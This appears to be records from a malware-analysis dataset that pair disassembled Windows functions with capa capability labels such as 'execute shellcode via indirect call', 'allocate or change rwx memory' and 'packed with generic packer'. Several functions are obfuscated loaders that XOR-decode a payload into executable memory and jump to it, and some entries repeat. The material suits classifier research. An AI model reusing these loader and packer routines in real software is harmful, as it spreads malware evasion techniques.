joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4287ed
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x4287fc
pop dword [ebp - 0x34]
mov eax, 0x6be7bb52
add eax, 0x945accaa
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xaf07037d
sub dword [ebp - 0x44], 0x60b4be32
mov dword [ebp - 0x40], 0xeab2fe5d
add dword [ebp - 0x40], 0x47804de8
mov dword [ebp - 0x3c], 0x3f386306
add dword [ebp - 0x3c], 0xd13e128
mov dword [ebp - 0x38], 0x34806cd2
sub dword [ebp - 0x38], 0x34806cd2
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x5daf1ae0
sub dword [ebp - 0x44], 0xe93cb18a
mov dword [ebp - 0x40], 0xc857904e
sub dword [ebp - 0x40], 0x86eb2ed9
mov dword [ebp - 0x3c], 0xa9b0e831
add dword [ebp - 0x3c], 0xb9be843b
mov dword [ebp - 0x38], 0x108172c
add dword [ebp - 0x38], 0xfef7e8d4
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x43a94
push 0
call eax
mov ecx, 0xc90a48ca
add ecx, 0x36f5fc34
xor ebx, ebx
add ebx, eax
mov edx, 0x464e00
add edx, dword [ebp - 0x34]
mov edi, 0x50808943
mov esi, dword [edx]
add dword [ebp - 0x28], 0xd8992372
xor esi, edi
xor dword [ebp - 0x28], 0xbfeaef27
mov dword [ebx], esi
xor dword [ebp - 0x18], 0x51f784b0
add ebx, 0xa93d22c0
add ebx, 0x56c2dd44
add edx, 0xa9e6e0a4
add edx, 0x56191f60
loop 0x42890a
add eax, 0x5f00ab6d
sub eax, 0x5effa4a2
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x459092
Capabilities:
Terminate process

Disassembly:
push 0x34
mov eax, 0x48c846
call fcn.0047ec24
mov edi, edx
mov ebx, ecx
mov esi, dword [ebp + 0xc]
and dword [ebp - 4], 0
mov eax, dword [ebp + 8]
and dword [ebp + 8], 0
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
mov edx, dword [ebx + 4]
push ecx
mov ecx, eax
call fcn.00458bf1
lea eax, [ebp - 0x1c]
mov ecx, edi
push eax
push 1
push 0
lea eax, [ebp - 0x21]
push eax
push esi
push 0
push dword [ebx + 4]
push dword [ebx + 8]
call fcn.00458c75
cmp byte [ebp - 0x21], 0
mov dword [ebp - 0x20], eax
je 0x4b109b
lea eax, [ebp - 0x20]
mov dword [ebp - 0x2c], 0x5a3840
push eax
lea eax, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x3c]
call fcn.0047e0c6
mov ecx, dword [ebp - 0x20]
mov edx, ebx
mov esi, dword [ebp - 0x28]
and dword [ebp - 0x30], 0
push ecx
mov eax, esp
push ecx
mov ecx, edi
mov dword [eax], esi
lea eax, [ebp - 0x2c]
push eax
xor esi, esi
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.00458d10
cmp byte [ebp - 0x28], 0
je 0x45914c
cmp dword [0x5a303c], 6
jne 0x45914c
mov eax, dword [edi + 0x14c]
test al, 0x40
je 0x4b119f
test dword [edi + 0x14c], 0x400
jne 0x4b128d
cmp byte [0x5a2fad], 0
je 0x4591be
mov ecx, dword [ebp - 0x20]
push esi
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push edi
call fcn.0044ca36
test byte [edi + 0x14c], 0x40
jne 0x459187
mov ecx, dword [ebp - 0x20]
push edi
call fcn.0044a2c5
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebx + 0x1c]
mov eax, dword [ebx + 0x18]
push esi
mov dword [edx + 0x60], eax
mov dword [edx + 0x64], ecx
mov ecx, dword [ebp - 0x20]
call fcn.00437471
mov edi, dword [ebp - 0x20]
mov dword [ebp - 4], 7
mov eax, dword [ebp + 8]
test eax, eax
jne 0x4b11c4
invalid
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10007ef2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x10007f01
pop dword [ebp - 0x40]
mov eax, 0xdfd19177
sub eax, 0xcfd11276
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xa9fb2315
sub dword [ebp - 0x50], 0x5ba8ddca
mov dword [ebp - 0x4c], 0x2866f144
add dword [ebp - 0x4c], 0x9cc5b01
mov dword [ebp - 0x48], 0x69fcd91f
add dword [ebp - 0x48], 0xe24f6b0f
mov dword [ebp - 0x44], 0x3760f4d9
sub dword [ebp - 0x44], 0x3760f4d9
lea eax, [ebp - 0x50]
push eax
mov eax, 0xe1fead15
add eax, 0x2e01e343
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x5bc1d7c0
add dword [ebp - 0x50], 0x18b09196
mov dword [ebp - 0x4c], 0x1dfa873a
sub dword [ebp - 0x4c], 0xdc8e25c5
mov dword [ebp - 0x48], 0x64d55f8d
add dword [ebp - 0x48], 0xfe9a0cdf
mov dword [ebp - 0x44], 0xc6a336d2
add dword [ebp - 0x44], 0x395cc92e
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x34d5fed9
add eax, 0xdb2a9127
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x39ea7
push 0
call eax
mov ecx, 0x249acfd5
sub ecx, 0x249a7d3b
xor ebx, ebx
add ebx, eax
mov edx, 0x1000e800
add edx, dword [ebp - 0x40]
mov edi, 0x2841af05
mov esi, dword [edx]
xor dword [ebp - 0x34], 0xada2317f
add esi, edi
sub dword [ebp - 0x38], 0x8ac1142
mov dword [ebx], esi
xor dword [ebp - 0x2c], edi
add ebx, 0xf35ecf2e
add ebx, 0xca130d6
add edx, 0xb1fd0b17
add edx, 0x4e02f4ed
loop 0x10008019
add eax, 0x7bc4b0da
add eax, 0x843c8c61
mov ebx, eax
add eax, 0xfbd595ff
add eax, 0x42a6a06
mov ecx, 0x9bd6389
add ecx, 0x6429c77
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x100082ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x100082b6
repz ret
jmp fcn.1000869f
Function at 0x40175d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x410ec4
sub esp, 0x24
mov eax, dword [0x4b8028]
xor eax, esp
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x2c]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
xor ebx, ebx
mov dword [esp + 0xc], eax
push edi
mov eax, dword [esi + 0x3c]
mov ebp, dword [eax + esi + 0x78]
add ebp, esi
mov edi, dword [ebp + 0x20]
mov eax, dword [ebp + 0x18]
add edi, esi
mov dword [esp + 0x14], eax
test eax, eax
je 0x410f2f
mov eax, dword [edi]
lea ecx, [esp + 0x18]
add eax, esi
push eax
call fcn.00401d70
push dword [esp + 0x10]
lea ecx, [esp + 0x1c]
call fcn.00405f56
test al, al
jne 0x410f46
lea ecx, [esp + 0x18]
add edi, 4
call fcn.00402810
inc ebx
cmp ebx, dword [esp + 0x14]
jb 0x410efd
xor esi, esi
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00402e37
add esp, 0x24
ret
mov eax, dword [ebp + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebp + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + esi]
lea ecx, [esp + 0x18]
call fcn.00402810
jmp 0x410f31

Function at 0x40335f
Capabilities:
Terminate process

Disassembly:
jmp 0x446f0e
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x446f1f
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405425
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x403477
Capabilities:
Query environment variable

Disassembly:
jmp 0x484c30
mov edi, edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x484c44
xor edi, edi
jmp 0x484c7b
push ebx
push esi
call fcn.00484b3a
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403c7e
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x484c6b
push ebx
push esi
push edi
call fcn.00405209
add esp, 0xc
push 0
call fcn.00405cfe
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop ebx
mov eax, edi
pop edi
pop esi
ret

Function at 0x4052cc
Capabilities:
Parse pe header

Disassembly:
jmp 0x436152
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x436191
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x436191
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x436191
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x436191
cmp dword [ecx + 0x74], 0xe
jbe 0x436191
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..reloc
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x72765bb5
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
mov ecx, 0x22662b41
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x432084
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x408d51
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea ebx, [ebp - 0x244]
sub esp, 0x254
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push edx
push edx
lea edx, [eax - 1]
cmp edx, 0x103
ja 0x408d8f
xor edx, edx
cmp word [ebp + eax*2 - 0x246], 0x5c
sete dl
jmp 0x408d96
xor eax, eax
mov edx, 1
mov ecx, dword [ebp + 8]
add edx, edx
add eax, eax
add edx, 0x40c6a8
add eax, ebx
mov dword [esp + 4], str._s_S.dll
mov dword [esp + 8], edx
mov dword [esp], eax
mov dword [esp + 0xc], ecx
call dword [sym.imp.USER32.dll_wsprintfW]
mov dword [esp], ebx
mov dword [esp + 8], 8
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
sub esp, 0xc
mov ebx, dword [ebp - 4]
leave
ret 4

Function at 0x408f64
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43a424], 0
push ebp
mov ebp, esp
push esi
push ebx
mov edx, dword [ebp + 0xc]
jne 0x408fa1
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
and eax, 1
neg eax
shr esi, 1
and eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x408f7e
mov dword [ecx*4 + 0x43a420], eax
inc ecx
cmp ecx, 0x100
jne 0x408f77
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
cmp edx, ebx
je 0x408fc4
inc edx
mov cl, byte [edx - 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x43a420]
jmp 0x408fab
pop ebx
not eax
pop esi
pop ebp
ret 0xc

Function at 0x402e5c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x40d00c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402ef4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402ed4
xor eax, eax
push ebp
push 0x402ecd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402f10
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402ed4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x40d00c]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x40d00c], ax
mov esp, ebp
pop ebp
ret

Function at 0x4035f4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40f034], 0
je 0x403655
cmp word [0x40f208], 0xd7b2
jne 0x40361d
cmp dword [0x40f210], 0
jbe 0x40361d
mov eax, 0x40f204
call dword [0x40f220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40367c
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
pop edx
ret
cmp byte [0x40d018], 0
jne 0x403671
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x10008ec9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10008ed8
pop dword [ebp - 0x30]
mov eax, 0x10008ed8
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xab61c7fa
sub dword [ebp - 0x40], 0x5d0f82af
mov dword [ebp - 0x3c], 0x91c64b17
sub dword [ebp - 0x3c], 0x5f92fed2
mov dword [ebp - 0x38], 0x70dd456b
add dword [ebp - 0x38], 0xdb6efec3
mov dword [ebp - 0x34], 0x68708486
add dword [ebp - 0x34], 0x978f7b7a
lea eax, [ebp - 0x40]
push eax
mov eax, 0xf4ce6c75
add eax, 0x1b3253af
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xfd3dc26e
add dword [ebp - 0x40], 0x7734a6e8
mov dword [ebp - 0x3c], 0x9d0cc6bc
add dword [ebp - 0x3c], 0xa45f9ab9
mov dword [ebp - 0x38], 0xf18ba73e
add dword [ebp - 0x38], 0x71e3c52e
mov dword [ebp - 0x34], 0x4d378774
add dword [ebp - 0x34], 0xb2c8788c
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xe02bbdd
sub eax, 0xfe01fbb1
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x363e8
push 0
call eax
mov ecx, 0x410c
mov ebx, eax
mov edx, 0xcaa3996
sub edx, 0xfca5c596
add edx, dword [ebp - 0x30]
mov edi, 0x5404f8da
mov dword [ebp - 4], 0x6b16928d
mov esi, dword [edx]
xor dword [ebp - 0x24], ecx
add esi, edi
mov dword [ebp - 0x10], 0x72c6ccea
mov dword [ebx], esi
xor dword [ebp - 0x18], ecx
add ebx, 0x4b2c2ce8
add ebx, 0xb4d3d31c
add edx, 0x5607d031
add edx, 0xa9f82fd3
loop 0x10008fe9
add eax, 0xbf9700e1
add eax, 0x4069f622
mov ebx, eax
add eax, 0xfcdebc6d
add eax, 0x3214398
mov ecx, 0xa43b9fa8
sub ecx, 0x943b9fa8
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401080
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebx
push ecx
push ebp
push esi
push edi
mov esi, esp
sub esp, 0x38
mov eax, esp
mov edx, eax
add edx, 0x38
mov dword [eax], 0
add eax, 4
cmp eax, edx
jne 0x401091
mov edx, dword [esi + 0x18]
lea ecx, [esp]
call fcn.0040405d
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 4]
call fcn.0040405d
mov edx, dword [esi + 0x20]
lea ecx, [esp + 8]
call fcn.0040405d
mov edx, dword [esi + 0x24]
lea ecx, [esp + 0xc]
call fcn.0040405d
mov edx, dword [esi + 0x28]
lea ecx, [esp + 0x10]
call fcn.0040405d
mov eax, dword [esi + 0x2c]
mov dword [esp + 0x14], eax
mov eax, dword [esi + 0x30]
mov dword [esp + 0x18], eax
mov edx, dword [esi + 0x34]
lea ecx, [esp + 0x1c]
call fcn.0040405d
mov eax, dword [esi + 0x38]
mov dword [esp + 0x20], eax
push 0
call sub.ole32.dll_CoInitialize
lea eax, [esp + 0x24]
push eax
mov ebp, 0x405070
push ebp
push 1
push 0
mov ebp, 0x405060
push ebp
call sub.ole32.dll_CoCreateInstance
mov ebx, eax
cmp ebx, 0
jne 0x401223
mov eax, dword [esp]
push eax
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [eax]
call dword [eax + 0x50]
mov eax, dword [esp + 8]
push eax
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [eax]
call dword [eax + 0x2c]
mov eax, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [eax]
call dword [eax + 0x24]
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [eax]
call dword [eax + 0x1c]
push dword [esp + 0x14]
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [eax]
call dword [eax + 0x3c]
push dword [esp + 0x18]
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [eax]
call dword [eax + 0x34]
push dword [esp + 0x20]
mov eax, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x2c]
push eax
mov eax, dword [eax]
call dword [eax + 0x44]
lea eax, [esp + 0x28]
push eax
mov ebp, 0x405080
push ebp
mov eax, dword [esp + 0x2c]
push eax
mov eax, dword [eax]
call dword [eax]
mov ebx, eax
cmp ebx, 0
jne 0x401219
push dword [0x4050a4]
mov eax, 0x3e8
call fcn.00403f4b
lea ecx, [esp + 0x30]
pop edx
call fcn.0040409c
push 0x3e8
push dword [esp + 0x30]
push 0xffffffff
push dword [esp + 0x10]
push 0
push 0
call sub.KERNEL32.DLL_MultiByteToWideChar
push 1
mov eax, dword [esp + 0x30]
push eax
mov eax, dword [esp + 0x30]
push eax
mov eax, dword [eax]
call dword [eax + 0x18]
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 1
mov eax, dword [esp + 0x28]
push eax
mov eax, dword [eax]
call dword [eax + 8]
mov eax, dword [esp + 0x24]
push eax
mov eax, dword [eax]
call dword [eax + 8]
call sub.ole32.dll_CoUninitialize
mov eax, dword [esp + 0x34]
jmp 0x401230
mov edx, dword [esp + 8]
call fcn.004040e8
mov edx, dword [esp + 0xc]
call fcn.004040e8
mov edx, dword [esp + 0x1c]
call fcn.004040e8
mov edx, dword [esp + 4]
call fcn.004040e8
mov edx, dword [esp + 0x2c]
call fcn.004040e8
mov edx, dword [esp]
call fcn.004040e8
mov edx, dword [esp + 0x10]
call fcn.004040e8
add esp, 0x38
pop edi
pop esi
pop ebp
pop ecx
pop ebx
ret 0x24